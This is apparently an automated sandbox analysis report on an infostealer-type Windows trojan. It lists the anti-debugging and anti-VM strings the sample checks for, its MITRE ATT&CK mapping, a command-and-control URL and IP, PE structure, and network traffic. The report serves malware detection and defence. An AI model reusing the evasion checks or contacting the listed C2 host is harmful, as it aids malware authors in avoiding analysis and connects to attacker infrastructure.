Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: mBr65h6L4w.exe, 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: mBr65h6L4w.exe, 00000001.00000003.2242512402.0000000006F21000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlO#<y
Source: mBr65h6L4w.exe, 00000001.00000002.2394416036.0000000001CCF000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354059020.0000000001CB3000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354350025.0000000001CBF000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354324015.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354474647.0000000001CCE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\mBr65h6L4w.exeThread information set: HideFromDebuggerJump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\mBr65h6L4w.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile opened: NTICE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile opened: SICE
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\mBr65h6L4w.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00B79980 rdtsc 1_2_00B79980
Source: mBr65h6L4w.exe, mBr65h6L4w.exe, 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Program Manager
Source: C:\Users\user\Desktop\mBr65h6L4w.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: procmon.exe
Source: mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.6:49740 -> 5.101.3.217:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		24
Virtualization/Sandbox Evasion		OS Credential Dumping751
Security Software Discovery		1
Exploitation of Remote Services		11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory24
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		4
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive4
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
Obfuscated Files or Information		NTDS1
Remote System Discovery		Distributed Component Object ModelInput Capture5
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials216
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
mBr65h6L4w.exe34%ReversingLabsWin32.Trojan.Generic
mBr65h6L4w.exe100%AviraTR/Crypt.TPM.Gen
mBr65h6L4w.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17351868620%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQ0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862T0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0i0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF170%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxS0%Avira URL Cloudsafe
http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=00%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.fiveth5ht.top
5.101.3.217
truefalse
    		high
    httpbin.org
    		34.226.108.155
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0true
      • Avira URL Cloud: safe
      		unknown
      http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862true
      • Avira URL Cloud: safe
      		unknown
      https://httpbin.org/ipfalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://curl.se/docs/hsts.htmlmBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
          		high
          http://home.fiveth5ht.top/OyKvQmBr65h6L4w.exe, 00000001.00000002.2394440960.0000000001CDB000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://html4/loose.dtdmBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
            		high
            https://curl.se/docs/alt-svc.html#mBr65h6L4w.exefalse
              		high
              http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862?argument=0imBr65h6L4w.exe, 00000001.00000002.2394189109.0000000001C64000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354382784.0000000001C63000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2354136617.0000000001C62000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://httpbin.org/ipbeforemBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
                		high
                https://curl.se/docs/http-cookies.htmlmBr65h6L4w.exe, mBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
                  		high
                  https://curl.se/docs/hsts.html#mBr65h6L4w.exefalse
                    		high
                    http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSmBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://curl.se/docs/alt-svc.htmlmBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
                      		high
                      http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862TmBr65h6L4w.exe, 00000001.00000002.2394109920.0000000001C59000.00000004.00000020.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000003.2355081522.0000000001C57000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://.cssmBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
                        		high
                        http://.jpgmBr65h6L4w.exe, 00000001.00000003.2211257540.0000000007930000.00000004.00001000.00020000.00000000.sdmp, mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpfalse
                          		high

                          World Map of Contacted IPs

                          • No. of IPs < 25%
                          • 25% < No. of IPs < 50%
                          • 50% < No. of IPs < 75%
                          • 75% < No. of IPs

                          Public IPs

                          IPDomainCountryFlagASNASN NameMalicious
                          34.226.108.155
                          		httpbin.orgUnited States
                          		14618AMAZON-AESUSfalse
                          5.101.3.217
                          		home.fiveth5ht.topRussian Federation
                          		34665PINDC-ASRUfalse

                          General Information

                          Joe Sandbox version:41.0.0 Charoite
                          Analysis ID:1580956
                          Start date and time:2024-12-26 14:13:14 +01:00
                          Joe Sandbox product:CloudBasic
                          Overall analysis duration:0h 5m 46s
                          Hypervisor based Inspection enabled:false
                          Report type:full
                          Cookbook file name:default.jbs
                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                          Number of analysed new started processes analysed:11
                          Number of new started drivers analysed:0
                          Number of existing processes analysed:0
                          Number of existing drivers analysed:0
                          Number of injected processes analysed:0
                          Technologies:
                          • HCA enabled
                          • EGA enabled
                          • AMSI enabled
                          Analysis Mode:default
                          Analysis stop reason:Timeout
                          Sample name:mBr65h6L4w.exe
                          renamed because original name is a hash value
                          Original Sample Name:46f2ce87ff70ecd81cef884655f82ea3.exe
                          Detection:MAL
                          Classification:mal100.troj.spyw.evad.winEXE@1/0@8/2
                          EGA Information:
                          • Successful, ratio: 100%
                          HCA Information:Failed
                          Cookbook Comments:
                          • Found application associated with file extension: .exe

                          Warnings

                          • Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
                          • Excluded IPs from analysis (whitelisted): 20.231.128.66, 20.223.35.26, 13.107.246.63, 2.16.158.72, 4.245.163.56
                          • Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com, tse1.mm.bing.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com
                          • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                          • VT rate limit hit for: mBr65h6L4w.exe

                          Simulations

                          Behavior and APIs

                          ⊘No simulations

                          Joe Sandbox View / Context

                          IPs

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          34.226.108.155vJPhYDClT5.exeGet hashmaliciousUnknownBrowse
                            jklg6EIhyR.exeGet hashmaliciousUnknownBrowse
                              qr2JeuLuOQ.exeGet hashmaliciousUnknownBrowse
                                gDPzgKHFws.exeGet hashmaliciousCryptbotBrowse
                                  x6Rd1DzUJA.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                    SzXZZDlkVE.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                      ijn8pyFXSP.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                        WzyLDvldFI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                          PhwUGyok2i.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                            nRYpZg6i5E.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse

                                              Domains

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              httpbin.orgvJPhYDClT5.exeGet hashmaliciousUnknownBrowse
                                              • 34.226.108.155
                                              jklg6EIhyR.exeGet hashmaliciousUnknownBrowse
                                              • 34.226.108.155
                                              qr2JeuLuOQ.exeGet hashmaliciousUnknownBrowse
                                              • 34.226.108.155
                                              E6rBvcWFWu.exeGet hashmaliciousUnknownBrowse
                                              • 3.218.7.103
                                              gDPzgKHFws.exeGet hashmaliciousCryptbotBrowse
                                              • 34.226.108.155
                                              HFoyAy1tg8.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                              • 98.85.100.80
                                              8kl5nJ3f9x.exeGet hashmaliciousCryptbotBrowse
                                              • 98.85.100.80
                                              7kf4hLzMoS.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                              • 98.85.100.80
                                              x6Rd1DzUJA.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                              • 34.226.108.155
                                              WCeE1A6Xyz.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                              • 98.85.100.80

                                              ASNs

                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              PINDC-ASRU6ufJvua5w2.exeGet hashmaliciousCryptOne, Stealc, VidarBrowse
                                              • 91.215.85.11
                                              Ransomware Mallox.exeGet hashmaliciousTargeted RansomwareBrowse
                                              • 91.215.85.142
                                              3cb770h94r.elfGet hashmaliciousOkiruBrowse
                                              • 45.145.172.130
                                              na.elfGet hashmaliciousMiraiBrowse
                                              • 5.188.210.194
                                              na.elfGet hashmaliciousMirai, MoobotBrowse
                                              • 5.8.21.138
                                              lK1DKi27B4.dllGet hashmaliciousUnknownBrowse
                                              • 80.87.206.189
                                              lK1DKi27B4.dllGet hashmaliciousUnknownBrowse
                                              • 80.87.206.189
                                              https://trstwalsecu.com/Get hashmaliciousUnknownBrowse
                                              • 91.215.85.16
                                              https://metamaskinf.com/Get hashmaliciousUnknownBrowse
                                              • 91.215.85.79
                                              http://mygovau-service.com/Get hashmaliciousUnknownBrowse
                                              • 91.215.85.79
                                              AMAZON-AESUSvJPhYDClT5.exeGet hashmaliciousUnknownBrowse
                                              • 34.226.108.155
                                              jklg6EIhyR.exeGet hashmaliciousUnknownBrowse
                                              • 34.226.108.155
                                              qr2JeuLuOQ.exeGet hashmaliciousUnknownBrowse
                                              • 34.226.108.155
                                              E6rBvcWFWu.exeGet hashmaliciousUnknownBrowse
                                              • 3.218.7.103
                                              xd.mips.elfGet hashmaliciousMiraiBrowse
                                              • 34.206.168.77
                                              xd.x86.elfGet hashmaliciousMiraiBrowse
                                              • 44.213.56.197
                                              telnet.arm.elfGet hashmaliciousUnknownBrowse
                                              • 18.209.195.84
                                              telnet.sh4.elfGet hashmaliciousUnknownBrowse
                                              • 35.175.156.177
                                              armv5l.elfGet hashmaliciousMiraiBrowse
                                              • 44.206.15.113
                                              https://fsharetv.co/Get hashmaliciousUnknownBrowse
                                              • 54.225.185.110

                                              JA3 Fingerprints

                                              ⊘No context

                                              Dropped Files

                                              ⊘No context

                                              Created / dropped Files

                                              ⊘No created / dropped files found

                                              Static File Info

                                              General

                                              File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                              Entropy (8bit):7.98532948304534
                                              TrID:
                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                              • DOS Executable Generic (2002/1) 0.02%
                                              • VXD Driver (31/22) 0.00%
                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                              File name:mBr65h6L4w.exe
                                              File size:4'472'320 bytes
                                              MD5:46f2ce87ff70ecd81cef884655f82ea3
                                              SHA1:b236341be179023437f850df56b27dac08bb1a05
                                              SHA256:b187942302acfc0c1ed1390b5554950f9a8da7fc6ef53f93b78de85ca0816e49
                                              SHA512:52037ffac32b792f86810b84a7f6f1939c7e2720c602d84675bef0f5e3d927a58304c50b883a7207ed2910c12a91e320865ed72ab3a850b5fc468f2a1104fdd7
                                              SSDEEP:98304:vAx5/WplbQ6CxuaEWu9jz4ymioFziUAnVJGt:YxojbQ6zaEWGjk9ioFfQJG
                                              TLSH:8E2633762CB75619E78CCBBC59277703B9976F9C424E82BDA441580FBE6F20F4923814
                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._.lg...............(..I...p..2...`....... I...@..................................kD...@... ............................

                                              File Icon

                                              Icon Hash:00928e8e8686b000

                                              Static PE Info

                                              General

                                              Entrypoint:0x1026000
                                              Entrypoint Section:.taggant
                                              Digitally signed:true
                                              Imagebase:0x400000
                                              Subsystem:windows gui
                                              Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                                              DLL Characteristics:DYNAMIC_BASE
                                              Time Stamp:0x676CDB5F [Thu Dec 26 04:28:15 2024 UTC]
                                              TLS Callbacks:
                                              CLR (.Net) Version:
                                              OS Version Major:4
                                              OS Version Minor:0
                                              File Version Major:4
                                              File Version Minor:0
                                              Subsystem Version Major:4
                                              Subsystem Version Minor:0
                                              Import Hash:2eabe9054cad5152567f0699947a2c5b

                                              Authenticode Signature

                                              Signature Valid:
                                              Signature Issuer:
                                              Signature Validation Error:
                                              Error Number:
                                              Not Before, Not After
                                                Subject Chain
                                                  Version:
                                                  Thumbprint MD5:
                                                  Thumbprint SHA-1:
                                                  Thumbprint SHA-256:
                                                  Serial:

                                                  Entrypoint Preview

                                                  Instruction
                                                  jmp 00007F8C1CB13DDAh
                                                  hint_nop dword ptr [eax+eax+00h]
                                                  add byte ptr [eax], al
                                                  add cl, ch
                                                  add byte ptr [eax], ah
                                                  add byte ptr [eax], al
                                                  add bh, bh
                                                  inc dword ptr [eax]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [0300000Ah], al
                                                  or al, byte ptr [eax]
                                                  add byte ptr [ecx], al
                                                  or al, byte ptr [eax]
                                                  add byte ptr [ebx], cl
                                                  or al, byte ptr [eax]
                                                  add byte ptr [edx+ecx], al
                                                  add byte ptr [eax], al
                                                  add cl, byte ptr [edx]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add dword ptr [eax+00000000h], eax
                                                  add byte ptr [eax], al
                                                  adc byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  or ecx, dword ptr [edx]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  pushad
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al

                                                  Data Directories

                                                  NameVirtual AddressVirtual Size Is in Section
                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x6dd05f0x73.idata
                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x6dc0000x1ac.rsrc
                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x708a000x688
                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0xc245ac0x10jbmcqnop
                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_TLS0xc2455c0x18jbmcqnop
                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                  Sections

                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                  0x10000x6db0000x288a00a2e8ca58f3daa4cd4f8400589aeac5bcunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .rsrc0x6dc0000x1ac0x200aa76c3ed3d2496c45eccbc06dc3dcb64False0.583984375data4.568408599635049IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .idata 0x6dd0000x10000x2006363462e4ea156e03144265f6be7871eFalse0.166015625data1.1763897754724144IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  0x6de0000x38f0000x2004128d531d6c3f6b0cedf34fdf8b6896aunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  jbmcqnop0xa6d0000x1b80000x1b78007c8cd367ca1c572d2f8c068c0a94dfdaFalse0.994540582337884data7.955312856107021IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  sxtwdxzr0xc250000x10000x40041dae4c30cb16df8966dc8d42e7cd8a4False0.8017578125data6.246237841175651IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .taggant0xc260000x30000x22008ebd92fdb09250959670d963cd9aeee9False0.06732536764705882DOS executable (COM)0.7884828062426812IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                  Resources

                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                  RT_MANIFEST0xc245bc0x152ASCII text, with CRLF line terminators0.6479289940828402

                                                  Imports

                                                  DLLImport
                                                  kernel32.dlllstrcpy

                                                  Network Behavior

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 26, 2024 14:14:17.421557903 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:17.421583891 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:17.421648026 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:17.436145067 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:17.436158895 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:19.300043106 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:19.335357904 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:19.335395098 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:19.336498976 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:19.336565018 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:19.352932930 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:19.353013992 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:19.400192022 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:19.400219917 CET4434972234.226.108.155192.168.2.6
                                                  Dec 26, 2024 14:14:19.407946110 CET49722443192.168.2.634.226.108.155
                                                  Dec 26, 2024 14:14:19.451340914 CET4434972234.226.108.155192.168.2.6
